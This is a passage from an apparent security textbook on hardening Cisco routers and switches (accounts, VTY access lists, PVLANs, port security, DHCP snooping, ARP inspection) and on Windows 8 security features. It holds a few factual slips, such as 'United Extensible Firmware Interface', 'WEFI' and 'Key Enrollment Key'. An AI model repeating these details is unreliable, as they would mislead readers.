2. RADIUS keys (in 12.1 and earlier)

3. TACACS+ keys (in 12.1 and earlier)

4. NTP authentication keys

5. Peer router authentication keys

6. Avoid dictionary words, proper names, phone numbers, dates, addresses.

7. Always include at least one of each of the following: lowercase letters, uppercase letters, digits, and special characters.

8. Make all passwords at least eight characters long.

9. Avoid more than 4 digits or same-case letters in a row.

10. Advanced Security Services

Accounts

First, give each administrator their own login user name for the router. When an administrator logs in with a user name and changes the configuration, the log message that is generated will include the name of the login account which was used. The login accounts created with the username command should be assigned privilege level 1 (see Passwords, above). In addition, do not create any user accounts without passwords! When an administrator no longer needs access to the router, remove their account. The example below shows how to create local user accounts for users named ‘rsmith’ and ‘bjones’, and remove the local user named ‘brian’.

Only allow accounts that are required on the router and minimize the number of users with access to config-uration mode on the router.

Central# config t

Enter configuration commands, one per line. End with CNTL/Z.

Central(config)# service password-encryption

Central(config)# username rsmith password 3d-zirc0nia

Central(config)# username rsmith privilege 1

Central(config)# username bjones password 2B-or-3B

SECURIN

G RO

UTERS &

SWITCH

ES

273

Central(config)# username bjones privilege 1

Central(config)# no username brian

Central(config)# end

Central#

Remote Access

This topic will discuss five connection schemes which can be used for router administration.

No Remote – administration is performed on the console only.

Remote Internal only with AAA – administration can be performed on the router from a trusted internal network only, and AAA is used for access control.

Remote Internal only – administration can be performed on the router from the internal network only.

Remote External with AAA – administration can be performed with both internal and external connections and uses AAA for access control.

Remote External – administration can be performed with both internal and external connections.

As discussed earlier, remote administration is inherently dangerous. When you use remote administration, anyone with a network sniffer and access to the right LAN segment can acquire the router account and password information. This is why remote administration security issues center around protecting the paths which the session will use to access the router. The five regimes listed above are listed in the order that best protects the router and allows for accounting of router activities. Section 4.6 describes remote access with AAA. This section will discuss remote internal only access without AAA. Remote access over untrusted net-works (e.g. the Internet) should not be used, with or without AAA, unless the traffic is adequately protected, because the user’s password will travel the network in clear text form.

The security of remote administration can be enhanced by using a protocol that provides confidentiality and integrity assurances, such as IPSec or SSH. Setting up IPSec for remote administration is covered in previous chapter. Cisco has added support for the Secure Shell (SSH) protocol to many versions of IOS 12.0 and later, and nearly all IOS releases in 12.3T, 12.4 and later. Section 5.3 describes how to use SSH for secure remote administration, and SSH should always be used instead of Telnet whenever possible.

The Auxiliary Port

As discussed in Section 4.1.5 the aux port should be disabled. Only if absolutely required should a modem be connected to the aux port as a backup or remote access method to the router. Attackers using simple war-dialing software will eventually find the modem, so it is necessary to apply access controls to the aux port. As discussed earlier, all connections to the router should require authentication (using individual user accounts) for access. This can be accomplished by using login local (see next sub-section for example) or AAA (see Section 4.6). For better security, IOS callback features should be used. A detailed discussion on setting up modems is beyond the scope of this document. Consult the Cisco IOS Dial Services guide [6] for information about connecting modems and configuring callback. SE

CURI

NG

RO

UTE

RS &

SWIT

CHES

274

Network Access

Remote network connections use the VTY lines to connect to the router. To configure the vtys for remote access do the following: bind the telnet service to the loopback interface, create and apply an access list explicitly listing the hosts or networks from which remote administration will be permitted, and set an exec session timeout.

Central(config)# ip telnet source-interface loopback0

Central(config)# access-list 99 permit 14.2.9.1 log

Central(config)# access-list 99 permit 14.2.6.6 log

Central(config)# access-list 99 deny any log

Central(config)# line vty 0 4

Central(config-line)# access-class 99 in

Central(config-line)# exec-timeout 5 0

Central(config-line)# transport input telnet

Central(config-line)# login local

Central(config-line)# exec

Central(config-line)# end

Central#

The IP access list 99 limits which hosts may connect to the router through the vty ports. Additionally, the IP addresses which are allowed to connect must be on an internal or trusted network. For more details on access lists see Section 4.3. The login local command requires a username and password be used for access to the router (this command will be different if you are using AAA with an authentication server). Finally, the transport input telnet command restricts the management interface to telnet only. This is important be-cause the other supported protocols, like rlogin and web, are less secure and should be avoided.

Cisco IOS supports outgoing telnet as well as incoming; once an administrator or attacker has gained telnet access via a VTY, they can establish further telnet sessions from the router to other devices. Unless this capa-bility is important for managing your network, it should be disabled as shown below.

Central(config)# line vty 0 4

Central(config-line)# transport output none

Central(config-line)# exit

SECURIN

G RO

UTERS &

SWITCH

ES

275

Lastly, if you are going to permit remote administration via Telnet, enable TCP keepalive services. These ser-vices will cause the router to generate periodic TCP keepalive messages, thus allowing it to detect and drop orphaned (broken) TCP connections to/from remote systems. Using this service does not remove the need for setting an exec-timeout time as recommended above.

Central(config)# service tcp-keepalives-in

Central(config)# service tcp-keepalives-out

Central(config)# exit

Central#

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

276

Switch Security

This chapter describes Layer 2 security basics and security features on switches available to combat net-work security threats. These threats result from weaknesses in Layer 2 of the OSI model—the data-link layer. Switches act as arbiters to forward and control all the data flowing across the network. The current trend is for network security to be solidified through the support of switch security features that build feature-rich, high-performance, and optimized networks. The chapter examines the integrated security features available on Cisco catalyst switches to mitigate threats that result from the weaknesses in Layer 2 of the OSI model. The chapter also provides guidelines and recommendations intended to help you understand and configure the Layer 2 security features available on Cisco switches to build robust networks.

With the rapid growth of IP networks in the past years, high-end switching has played one of the most fun-damental and essential roles in moving data reliably, efficiently, and securely across networks. Cisco Catalyst switches are the leader in the switching market and major players in today’s networks.

The data-link layer (Layer 2 of the OSI model) provides the functional and procedural means to transfer data between network entities with interoperability and interconnectivity to other layers, but from a security perspective, the data-link layer presents its own challenges. Network security is only as strong as the weak-est link, and Layer 2 is no exception. Applying first-class security measures to the upper layers (Layers 3 and higher) does not benefit your network if Layer 2 is compromised. Cisco switches offer a wide range of securi-ty features at Layer 2 to protect the network traffic flow and the devices themselves.

Understanding and preparing for network threats is important, and hardening Layer 2 is becoming impera-tive. Cisco is continuously raising the bar for security, and security feature availability at Layer 2 is no excep-tion. The sections that follow highlight the Layer 2 security features available on Cisco Catalyst switches.

Protected Ports (PVLAN Edge)

In some network environments, there is a requirement for no traffic to be seen or forwarded between host(s) on the same LAN segment, thereby preventing interhost communications. The PVLAN edge feature provi-sions this isolation by creating a firewall-like barrier, thereby blocking any unicast, broadcast, or multicast traffic among the protected ports on the switch. Note that the significance of the protected port feature is limited to the local switch, and there is no provision in the PVLAN edge feature to isolate traffic between two “protected” ports located on different switches. For this purpose, the PVLAN feature can be used.

The PVLAN edge offers the following features:

• The switch will not forward traffic (unicast, multicast, or broadcast) between ports that are configured as protected. Data traffic must be routed via a Layer 3 device between the protected ports.

• Control traffic, such as routing protocol updates, is an exception and will be forwarded between protect-ed ports.

• Forwarding behavior between a protected port and a nonprotected port proceeds normally per default behavior.

SECURIN

G RO

UTERS &

SWITCH

ES

277

By default, no ports are configured as protected. Example below shows how to enable and verify switch ports that are configured for the protected port feature. Multi-access-like segment. To prevent interhost and interserver communication, PVLAN can be used efficiently because the number of subnets or VLANs is greatly reduced, although the segmented approach within a single network segment is still achieved. The number is reduced because there is no need to create extra subnet/VLANs.

Switch(config)# interface Fastethernet0/1

Switch(config-if)# switchport protected Switch(config-if)# end

Switch# show interfaces FastEthernet 0/1 switchport Name: Fa0/1

Switchport: Enabled

Administrative Mode: static access

...

Protected: true

The list that follows describes three types of PVLAN ports, as shown in config above:

• Promiscuous: A promiscuous port can communicate with all interfaces, including the isolated and community ports within a PVLAN. The function of the promiscuous port is to move traffic between ports in community or isolated VLANs. It can use access lists to identify which traffic can pass between these VLANs. Only one promiscuous port is allowed per single PVLAN, and it serves all the community and isolated VLANs in the Private VLAN.

• Isolated: AnisolatedPVLANporthascompleteLayer2segregationfromallthe other ports within the same PVLAN, but not from the promiscuous ports. Traffic from the isolated port is forwarded only to the pro-miscuous ports and none other.

• Community: Community ports are logically combined groups of ports in a common community and can pass traffic among themselves and with promiscuous ports. Ports are separated at Layer 2 from all other interfaces in other communities or isolated ports within their PVLAN.

It is possible for isolated and community port traffic to enter or leave the switch through a trunk interface because trunks support VLANs carrying traffic among isolated, community, and promiscuous ports. Hence, PVLAN ports are associated with a separate set of VLANs that are used to create the PVLAN structure. A PVLAN uses VLANs in following three ways:

• As a primary VLAN: Carries traffic from a promiscuous port to isolated, community, and other promiscu-ous ports in the same primary VLAN.

• As an isolated VLAN: Carries traffic from isolated ports to a promiscuous port. Ports in the isolated VLAN cannot communicate at Layer 2 with any other port within the Private VLAN (either another community VLAN port or a port in the same isolated VLAN). To communicate with other ports, it must go through the promiscuous port.

• As a community VLAN: Carries traffic between community ports within the same community VLAN and to promiscuous ports. Ports in the community VLAN can communicate at Layer 2 with each other (only within the same community VLAN) but cannot communicate with ports in other community or isolated VLANs. To communicate with other ports, they must go through the promiscuous port. Multiple commu-nity VLANs can be configured in a PVLAN.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

278

The isolated and community VLANs are also called secondary VLANs. PVLANs can be extended across multi-ple devices by trunking the primary, isolated, and community VLANs to other devices that support PVLANs.

In summary, a Private VLAN contains three elements: the Private VLAN itself, the secondary VLANs (known as the community VLAN and isolated VLAN), and the promiscuous port.

SECURIN

G RO

UTERS &

SWITCH

ES

279

Configuring PVLAN

Perform the following steps to configure the PVLAN feature:

Step 1

Create the primary and secondary PVLANs. For example, configure VLAN 101 as a primary VLAN, VLANs 201 to 202 as community VLANs, and VLAN 301 as an isolated VLAN.

Hostname(config)# vlan 101

Hostname(config-vlan)# private-vlan primary

Hostname(config)# vlan 201

Hostname(config-vlan)# private-vlan community

Hostname(config)# vlan 202

Hostname(config-vlan)# private-vlan community

Hostname(config)# vlan 301

Hostname(config-vlan)# private-vlan isolated

Step 2

Associate the secondary VLANs to the primary PVLAN. For example, associate community VLANs 201 to 202 and isolated VLAN 301 with the primary VLAN 101.

Hostname(config)# vlan 101

Hostname(config-vlan)# private-vlan association 201-202,301

Hostname(config-vlan)# exit

Step 3

Map secondary VLANs to the SVI (Switched Virtual Interface), which is the Layer 3 VLAN interface of a prima-ry VLAN to allow Layer 3 switching of PVLAN ingress traffic.

For example, permit routing of secondary VLAN ingress traffic from VLANs 201 to 202 and 301 to the private VLAN 101 SVI (Layer 3 interface).

Hostname(config)# interface vlan 101

Hostname(config-if)# private-vlan mapping add 201-202,301

Step 4

Configure a Layer 2 interface as an isolated or community port, and associate the Layer 2 port to the primary VLAN and selected secondary VLAN pair. For example, configure interface FastEthernet 1/1 as a PVLAN host port in community VLAN 201, map it to a private-secondary PVLAN pair, configure FastEthernet 1/2 as a PVLAN host port in isolated VLAN 301, and map it to a private-secondary PVLAN pair.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

280

Hostname(config)# interface Fastethernet 1/1

Hostname(config-if)# switchport mode private-vlan host

Hostname(config-if)# switchport private-vlan host-association 101 201

Hostname(config)# interface Fastethernet 1/2

Hostname(config-if)# switchport mode private-vlan host

Hostname(config-if)# switchport private-vlan host-association 101 301

Step 5

Configure a Layer 2 interface as a PVLAN promiscuous port and map the PVLAN promiscuous port to the primary VLAN and to the selected secondary VLAN pair. For example, configure interface FastEthernet 1/10 as a PVLAN promiscuous port, and map it to a private-secondary PVLAN pair.

Hostname(config)# interface Fastethernet 1/10

Hostname(config-if)# switchport mode private-vlan promiscuous

Hostname(config-if)# switchport private-vlan mapping 101 201-202,301

Port Blocking

When a packet arrives at the switch, the switch performs a lookup for the destination MAC address in the MAC address table to determine which port it will use to send the packet out to send on. If no entry is found in the MAC address table, the switch will broadcast (flood) unknown unicast or multicast traffic out to all the ports in the same VLAN (broadcast domain). Forwarding an unknown unicast or multicast traffic to a pro-tected port could raise security issues.

• Unknown unicast or multicast traffic can be blocked from being forwarded by using the port blocking feature.

• To configure port blocking for unknown unicast and multicast flooding, use the following procedures:

• The switchport block multicast interface configuration command to block unknown multicast forward-ing to a port

• The switchport block unicast interface configuration command to block unknown unicast forwarding to a port

• The show interfaces {interface} switchport command to validate the port blocking configuration.

By default, ports are not configured in blocking mode.

SECURIN

G RO

UTERS &

SWITCH

ES

281

Switch(config)# interface Fastethernet0/1

Switch(config-if)# switchport block multicast

Switch(config-if)# switchport block unicast

Switch(config-if)# end

Switch# show interfaces FastEthernet 0/1 switchport Name: Fa0/1

Switchport: Enabled

Administrative Mode: static access

...

Protected: true

Unknown unicast blocked: enabled

Unknown multicast blocked: enabled

Appliance trust: none

Port Security

Port security is a dynamic feature that prevents unauthorized access to a switch port. The port security fea-ture can be used to restrict input to an interface by identifying and limiting the MAC addresses of the hosts that are allowed to access the port. When secure MAC addresses are assigned to a secure port, the switch does not forward packets with source MAC addresses outside the defined group of addresses. To understand this process, think of the analogy of a secure car park facility, where a spot is reserved and marked with a particular car registration number so that no other car is allowed to park at that spot. Similarly, a switch port is configured with the secure MAC address of a host, and no other host can connect to that port with any other MAC address.

• Port security can be implemented in the following three ways:

• Static secure MAC addresses are manually configured using the switchport port- security mac-address [source-mac-address] command and stored in the MAC address table and in the configuration.

• Dynamic secure MAC addresses are dynamically learned, stored in the MAC address table, but removed when the switch is reloaded or powered down.

• Sticky secure MAC addresses are the combination of items 1 and 2 in this list. They can be learned dynamically or configured statically and are stored in the MAC address table and in the configuration. When the switch reloads, the interface does not need to dynamically discover the MAC addresses if they are saved in the configuration file.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

282

In the event of a violation, an action is required. A violation occurs when an attempt is made to access the switch port by a host address that is not found in the MAC address table, or when an address learned or defined on one secure interface is discovered on another secure interface in the same VLAN.

• An interface can be configured for one of the following three security violation modes, based on the action to be taken when a violation occurs:

• Protect: This puts the port into the protected port mode, where all unicast or multicast packets with unknown source MAC addresses are dropped. No notification is sent out in this mode when security violation occurs.

• Restrict: Packets with unknown source addresses are dropped when the number of secure MAC ad-dresses reaches the set limit allowed on the port. This continues until a sufficient number of secure MAC addresses is removed or the number of maximum allowable addresses is increased. Notification is sent out in this mode that a security violation has occurred. An SNMP trap is sent, a syslog message is logged, and the violation counter is incremented.

• Shutdown: When a port security violation occurs, the port is placed in error-disabled state, turning off its port LED. In this mode, an SNMP trap is sent out, a syslog message is logged, and the violation count-er is incremented.

To enable the port security feature, use the switchport port-security interface configuration command. The command has several options.

Switch(config)# interface Fastethernet0/1

Switch(config-if)# switchport mode access

Switch(config-if)# switchport port-security

Switch(config-if)# switchport port-security mac-address 0009.6B90.F4FE

Switch(config-if)# switchport port-security mac-address sticky

Switch(config-if)# end

The example above shows how to configure a maximum of 10 secure MAC addresses on VLAN 5 on port interface FastEthernet 0/2. The [vlan] option in this command sets a maximum value per VLAN for the speci-fied VLAN or range of VLANs

Switch(config)# interface Fastethernet0/2

Switch(config-if)# switchport mode access

Switch(config-if)# switchport port-security maximum 10 vlan 5

Switch(config-if)# end

In addition to the configuration shown in Example 4-4, a port-security aging mechanism can be configured. By default the secure MAC addresses will not be aged out, and in normal port security configuration, the entries will remain in the MAC table until the switch is powered off. When using the sticky option, these MAC addresses will be stored until cleared manually. T

There are two types of aging mechanisms:

Absolute: The secure addresses on the port age out after a fixed specified time, and all references are flushed from the secure address list.

Inactivity: Also known as idle time, the secure addresses on the port age out if they are idle, and no traffic from the secure source addresses passes for the specified time period.

SECURIN

G RO

UTERS &

SWITCH

ES

283

The example below shows how to configure the aging time to 5 minutes for the inactivity aging type. In this example, aging is enabled for statically configured secure addresses on the port.

Switch(config)# interface Fastethernet0/1

Switch(config-if)# switchport mode access

Switch(config-if)# switchport port-security aging time 5

Switch(config-if)# switchport port-security aging type inactivity

Switch(config-if)# switchport port-security aging static

Access Lists on Switches

Port ACL

Port ACLs are similar to Router ACLs but are supported on physical interfaces and configured on Layer 2 interfaces on a switch. Port ACL supports only inbound traffic filtering. Port ACL can be configured as three type access lists: standard, extended, and MAC-extended.

Processing of the Port ACL is similar to that of the Router ACLs; the switch examines ACLs associated with features configured on a given interface and permits or denies packet forwarding based on packet-match-ing criteria in the ACL.

When applied to a trunk port, the ACL filters traffic on all VLANs present on the trunk port. When applied to a port with voice VLAN, the ACL filters traffic on both data and voice VLANs.

The main benefit with Port ACL is that it can filter IP traffic (using IP access lists) and non- IP traffic (using MAC access list). Both types of filtering can be achieved—that is, a Layer 2 interface can have both an IP access list and a MAC access list applied to it at the same time.

VLAN ACL (VACL)

VLAN ACL (also called VLAN map) provides packet filtering for all types of traffic that are bridged within a VLAN or routed into or out of the VLAN. Unlike Router ACL, VACL is not defined by a direction (input or out-put). All packets entering the VLAN (bridged or routed) are checked against the VACL. It is possible to filter traffic based on the direction of the traffic by combining VACLs and Private VLAN features.

VACLs are processed in hardware, so there is no performance penalty in processing them. Therefore, they are also referred to as wire-speed ACLs. The forwarding rate remains unchanged regardless of the size of the access list because the lookup of VACLs is performed in hardware.

VACL on a Bridged Port

Figure on the next page illustrates where the VACL is processed when VACL is applied on a bridged port for traffic from Host A in VLAN 5 that is communicating to Host B in VLAN 10 through the switch.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

284

Configuring VACL

Perform the following steps to configure and apply a VACL (VLAN access map) on the switch:

1 Define the standard or extended access list to be used in VACL.

2 Define a VLAN access map.

3 Configure a match clause in a VLAN access map sequence.

4 Configure an action clause in a VLAN access map sequence.

5 Apply the VLAN access map to the specified VLANs.

6 Display VLAN access map information.

SECURIN

G RO

UTERS &

SWITCH

ES

285

Switch(config)#access-list 1 permit 192.168.1.0 0.0.0.255

Switch(config)#access-list 2 permit any

Switch(config)#vlan access-map mymap 10

Switch(config-access-map)#match ip address 1

Switch(config-access-map)#action drop

Switch(config-access-map)#exit

Switch(config)#vlan access-map mymap 20

Switch(config-access-map)#match ip address 2

Switch(config-access-map)#action forward

Switch(config-access-map)#exit

Switch(config)# vlan filter mymap vlan-list 5-10

Switch(config-access-map)#end

Switch# show vlan access-map

Access Lists on Switches 97

Vlan access-map “mymap” 10

Match clauses:

ip address: 1

Action:

drop

Vlan access-map “mymap” 20

Match clauses:

ip address: 2

Action:

Forward

Switch# show vlan filter

VLAN Map mymap is filtering VLANs:

5-10

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

286

MAC ACL

MAC ACL, also known as Ethernet ACL, can filter non-IP traffic on a VLAN and on a physical Layer 2 interface by using MAC addresses in a named MAC extended ACL. The steps to configure a MAC ACL are similar to those of extended named ACLs. MAC ACL supports only inbound traffic filtering.

To define the MAC Extended ACL, use the mac access-list extended command. Several non-IP protocols are supported.

After the MAC ACL is created, it can be applied to a Layer 2 interface using the mac access-group [acl-name] in command to filter non-IP traffic received on the interface.

Example 4-7 shows how to define and apply a MAC ACL to drop all (non-IP) AppleTalk Address Resolution Protocol (AARP) packets, allowing all other types of traffic.

Switch(config)# mac access-list extended my-mac-acl

Switch(config-ext-macl)# deny any any aarp

Switch(config-ext-macl)# permit any any

Switch(config-ext-macl)# exit

Switch(config)# interface Fastethernet0/10

Switch(config-if)# mac access-group my-mac-acl in

Switch(config-if)# end

Switch#

Dynamic Host Configuration Protocol (DHCP) Snooping

The DHCP Snooping feature provides network protection from rogue DHCP servers. It creates a logical firewall between untrusted hosts and DHCP servers. The switch builds and maintains a DHCP snooping table (also called DHCP binding database), shown in Figure 4-4a. In addition, the switch uses this table to identify and filter untrusted messages from the network. The switch maintains a DHCP binding database that keeps track of DHCP addresses that are assigned to ports, as well as filtering DHCP messages from untrusted ports. For incoming packets received on untrusted ports, packets are dropped if the source MAC address does not match MAC in the binding table entry.

SECURIN

G RO

UTERS &

SWITCH

ES

287

The figure above illustrates the DHCP Snooping feature in action, showing how the intruder is blocked on the untrusted port when it tries to intervene by injecting a bogus DHCP response packet to a legitimate conversation between the DHCP client and server.

The DHCP Snooping feature can be configured for switches and VLANs. When enabled on a switch, the inter-face acts as a Layer 2 bridge, intercepting and safeguarding DHCP messages going to a Layer 2 VLAN. When enabled on a VLAN, the switch acts as a Layer 2 bridge within a VLAN domain.

For DHCP Snooping to function correctly, all DHCP servers connected to the switch must be configured as trusted interfaces. A trusted interface can be configured by using the ip dhcp snooping trust interface con-figuration command. All other DHCP clients connected to the switch and other ports receiving traffic from outside the network or firewall should be configured as untrusted by using the no ip dhcp snooping trust interface configuration command.

To configure the DHCP Snooping feature, first enable DHCP Snooping on a particular VLAN by using the ip dhcp snooping vlan [vlan-id] command in global configuration mode. (Repeat this command for multiple VLANs.) Next, enable DHCP Snooping globally by using the ip dhcp snooping command from the global configuration mode. Both options must be set to enable DHCP snooping.

Switch(config)# interface Fastethernet0/1

Switch(config-if)# ip dhcp snooping trust Switch(config-if)# ip dhcp snooping limit rate 100

Switch(config-if)# exit

Switch(config)# ip dhcp snooping vlan 5 Switch(config)# ip dhcp snooping

Switch(config)# ip dhcp snooping information option SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

288

Use the show ip dhcp snooping command to display DHCP snooping settings. Use the show ip dhcp snoop-ing binding command to display binding entries corresponding to untrusted ports.

Dynamic ARP Inspection (DAI)

Address Resolution Protocol (ARP) provides IP-to-MAC (32-bit IP address into a 48-bit Ethernet address) resolution. ARP operates at Layer 2 (the data-link layer) of the OSI model. ARP provides the translation map-ping the IP address to the MAC address of the destination host using a lookup table (also known as the ARP cache).

Several types of attacks can be launched against a host or devices connected to Layer 2 networks by “poi-soning” the ARP caches. A malicious user could intercept traffic intended for other hosts on the LAN segment and poison the ARP caches of connected systems by broadcasting forged ARP responses. Several known ARP-based attacks can have a devastating impact on data privacy, confidentiality, and sensitive information. To block such attacks, the Layer 2 switch must have a mechanism to validate and ensure that only valid ARP requests and responses are forwarded.

Dynamic ARP inspection is a security feature that validates ARP packets in a network. Dynamic ARP inspec-tion determines the validity of packets by performing an IP-to-MAC address binding inspection stored in a trusted database, (the DHCP snooping binding database) before forwarding the packet to the appropriate destination. Dynamic ARP inspection will drop all ARP packets with invalid IP-to-MAC address bindings that fail the inspection. The DHCP snooping binding database is built when the DHCP snooping feature is en-abled on the VLANs and on the switch.

The figure on the page below shows an example of an attacker attempting to spoof and hijack traffic for an important address (a default gateway in this example) by broadcasting to all hosts spoofing the MAC ad-dress of the router (using a gratuitous ARP). This will poison ARP cache entries (create an invalid ARP entry) on Host A and Host B, resulting in data being redirected to the wrong destination. Because of the poisoned entries, when Host A sends data destined for the router, it is incorrectly sent to the attacker instead. Dynamic ARP inspection locks down the IP-MAC mapping for hosts so that the attacking ARP is denied and logged.

SECURIN

G RO

UTERS &

SWITCH

ES

289

As mentioned earlier, DAI relies on the entries in the DHCP snooping binding database to verify IP-to-MAC address bindings. Configure each secure interface as trusted using the ip arp inspection trust interface configuration command. The trusted interfaces bypass the ARP inspection validation checks, and all other packets are subject to inspection when they arrive on untrusted interfaces.

Enable DAI on a per-VLAN basis by using the ip arp inspection vlan [vlan-range] command from the global configuration command.

Switch(config)# interface GigabitEthernet1/0/1

Switch(config-if)# ip arp inspection trust

Switch(config)# ip arp inspection vlan 5-10

DAI in a Non-DHCP Environment

In non-DHCP environments, because there is no DHCP snooping binding database, the DAI can validate ARP packets against a user-defined ARP ACL to map hosts with a statically configured IP address to their MAC address.

Use the arp access-list [acl-name] command from the global configuration mode on the switch to define an ARP ACL and apply the ARP ACL to the specified VLANs on the switch.

Example 4-12 shows how to configure an ARP ACL to permit ARP packets from host IP address 10.1.1.11 with MAC address 0011.0011.0011 and how to apply this ACL to VLAN 5 with the interface configured as untrust-ed.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

290

Switch(config)# arp access-list arpacl

Switch(config-arp-acl)# permit ip host 10.1.1.11 mac host 0011.0011.0011

Switch(config-arp-acl)# exit

Switch(config)# ip arp inspection filter arpacl vlan 5

Switch(config)# interface GigabitEthernet1/0/2

Switch(config-if)# no ip arp inspection trust

Switch Security Best Practices

To conclude this chapter, a list of best practices is presented here for implementing, managing, and main-taining secure Layer 2 network:

1. Manage the switches in a secure manner. For example, use SSH, authentication mechanism, access list, and set privilege levels.

2. Restrict management access to the switch so that untrusted networks are not able to exploit manage-ment interfaces and protocols such as SNMP.

3. Always use a dedicated VLAN ID for all trunk ports.

4. Be skeptical; avoid using VLAN 1 for anything.

5. Disable DTP on all non-trunking access ports.

6. Deploy the Port Security feature to prevent unauthorized access from switching ports.

7. UsethePrivateVLANfeaturewhereapplicabletosegregatenetworktrafficatLayer2.

8. Use MD5 authentication where applicable.

9. Disable CDP where possible.

SECURIN

G RO

UTERS &

SWITCH

ES

291

Windows 8 Security

Everyone is talking about Windows 8. Even now, after the first few waves of media hype, interest in this oper-ating system continues.

As an IT professional, you are quite possibly being asked to review Windows 8 and determine if it is a good fit for your organization. Or, you are being asked to implement Windows 8 or develop a transition plan that moves your organization’s systems from their current operating system to Windows 8 over time.

Other than the interface, which is of course the focus of the user experience, Windows 8 comes with in-creased security features designed to make your life as an IT professional easier. These features are supposed to enhance security and give you enhanced tools for support and protection.

Does Windows 8 deliver on this promise?

Windows 8 security is designed with three goals in mind. First, it seeks to protect your network from threats and disruptions created by hackers, malware, and programs designed to wreak havoc on your system.

Second, Windows 8 security is designed to protect sensitive data within your system. This protection in-cludes threats outside your organization as well as data restriction within your organization.

Third, the security of Windows 8 is designed to provide secure access to your network’s resources so users can work safely and productively.

We will look that the enhanced security features of Windows 8. We will also highlight issues and concerns that you need to understand as you set policies for system use and administer Windows 8 on your network.

Enterprise Security

SECU

RIN

G W

IND

OW

S H

OST

292

UEFI – Secure Boot

With Windows 8 Microsoft is requiring adoption of a boot solution called United Extensible Firmware Inter-face (UEFI). UEFI changes the start-up procedure for a computer system, known as a boot or booting and is required on all PCs using the Windows 8 operating system.

UEFI replaces the traditional BIOS system used by PCs. UEFI helps productivity by creating much faster boot times. The handoff from power on to operating system is somewhere around 8 seconds. UEFI also aids pro-ductivity by requiring fewer restarts. This keeps your office staff working and saves IT time when applying upgrades or installing software. At least this is the promise.

The most important benefit of UEFI for your organization is security. UEFI is effective at battling rootkits, a class of malware frequently used by hackers to open a backdoor and allow criminals to control a PC.

A rootkit replaces the code used to start a computer within itself and disables antivirus software. UEFI makes loading rootkits difficult by requiring the initial boot up code to be digitally signed with a certificate derived from a key in the WEFI firmware. This feature, known as Secure Boot, ensures that code is from a trusted source prior to loading.

EFI then leverages Early Launch Anti-Malware (ELAM) to protect against boot loader attacks. ELAM allows anti-virus software to start up prior to other forms of programming. This ensures programs are scanned for viruses prior to start up.

Secure Boot uses three databases. The signature database and contains signatures and hashes of images for UEFI applications and operating system loaders. The revoked signatures database contains images that are revoked or have been marked as untrusted by the system. The Key Enrollment Key database contains keys that can be used to sign updates to the signature and revoked databases.

These databases are put in place when the computer is manufactured. Changes to them are prevented unless the change is signed with the correct signature. In the UEFI Secure Boot process, these databases are used to keep non-trusted software from taking control of the boot process.

These improvements increase the operating system’s ability to detect malware before it has a chance to load and run. It also makes it difficult for users to unknowingly install malware in the first place. So UEFI will add a level of protection to your organization, right? Maybe.

Critics and analysts feel that the UEFI platform is still vulnerable to attack. If the Secure Boot technology is turned off, which It must be to allow partitioning and running other operating systems such as Linux along-side Windows 8, then the system is just as vulnerable as BIOS or maybe more so.

Malware is not a stagnant threat. Eventually malware writers will overcome UEFI technology. At this time, however, Windows 8 offers the highest level of security for your organization.

One of the drawbacks of the UEFI or Secure Boot feature is the limitations it presents when you want to install an operating system other than Windows 8 or create partitions within your system. In the past, oper-ating systems have included information on how to disable Secure Boot. This information is not included in Windows 8, although it is possible.

SECURIN

G W

IND

OW

S HO

ST

293

Dynamic Access Control

Tired of maintaining groups in Microsoft Active Directory? If you aren’t now, you may soon be with the movement of many organizations to enact BYOD (Bring Your Own Device) policies and use cloud services as a part of their business plan. How do you give everyone access where they need it while making sure sensi-tive information stays protected? Securing files using folders or shares governed by group policy within the file server is an increasingly complex process.

Dynamic Access Control is Microsoft’s answer to this need in the IT world. The idea behind DAC is integrating claims-based authentication using tokens. Users are described by attributes such as department, location, role, title, and security clearance rather than by the security groups they are assigned to. This is a powerful new way to control access and allows flexibility in an increasingly complex data management environment.

Dynamic Access Control works by using a concept of central access rules and central access policies along with claims. Claims are the unique data points that describe the users, devices, or resources involved in the request. For example, a user might have access to a certain file when in the office. That same access may be restricted, however, when the user is traveling due to the sensitive nature of the data or lack of security availability on the user’s mobile device.

DAC includes Rights Management Services (RMS) allowing files that are defined as sensitive to be encrypted when they are moved from the file server. You can, for example, encrypt all documents that contain HIPAA information, vital organizational secrets, or other sensitive data just by applying RMS to documents of that kind.

The power of DAC is the ability to tag data, classify it, and apply access control to the data along with auto-matic encryption when the data is defined as sensitive. It reduces the constraints on IT and allows applica-tion of dynamic policies at the resource level. You can make decisions without dealing with a static system of protections that limit your flexibility.

Basically, the DAC allows you to reduce the need for extra active directory groups. It accomplishes this by allowing an “and” function rather than just an “or” function. Here’s an example. If a manager in your remote office needs access to a group of files for another remote office, you can simply allow them permission by adding them to the group for those files. They can be in both their current group and have access to the new group. You no longer need to create a third group that allows access to both. As user roles change within the organization, it’s much easier to adjust AD tokens and make sure proper access controls remain in place.

SECU

RIN

G W

IND

OW

S H

OST

294

DAC also makes it easier to control file access at a more granular level. You can assign policies to files and shares by allowing conditional control such as read-write access to some documents and read-only to oth-ers. You can also set conditions based on the device being used to access the data. Full access, for instance, might be restricted when using a tablet or smartphone but full access is allowed on company administered hardware.

Where is Direct Access Control most appealing? Clearly organizations with a high degree of sensitive in-formation, such as government contractors, agencies or healthcare organization will benefit from locking down files through DAC. Even the smallest organizations, however, may rest easier knowing their most sensitive documents are safely protected and encrypted.

BranchCache

Does your business structure include multiple physical locations connected by a wide area network (WAN)? If so, what typical download speeds does your team experience every day? Many businesses experience no-ticeable delays and bandwidth problems when large amounts of data travel routinely over the WAN. In fact, your business may have a problem you are not even aware of.

Workers in branch office often become accustomed to waiting for data to load from the corporate servers. They refill their coffee cups or find other ways to keep busy while waiting for information to process over the WAN. Slow download speeds are often considered normal when working in a branch office.

Delays do not have to be considered normal working conditions. Windows 8 BranchCache is a utility that increases the availability of information and saves bandwidth over the WAN making everyone more produc-tive and efficient.

BranchCache was introduced in Windows Server 2008 as a way of addressing the issue of network traffic. It reduces this traffic significantly by caching commonly used files at the local level instead of pulling them repeatedly over the WAN. With Windows 2012, BranchCache is improved and more powerful than before.

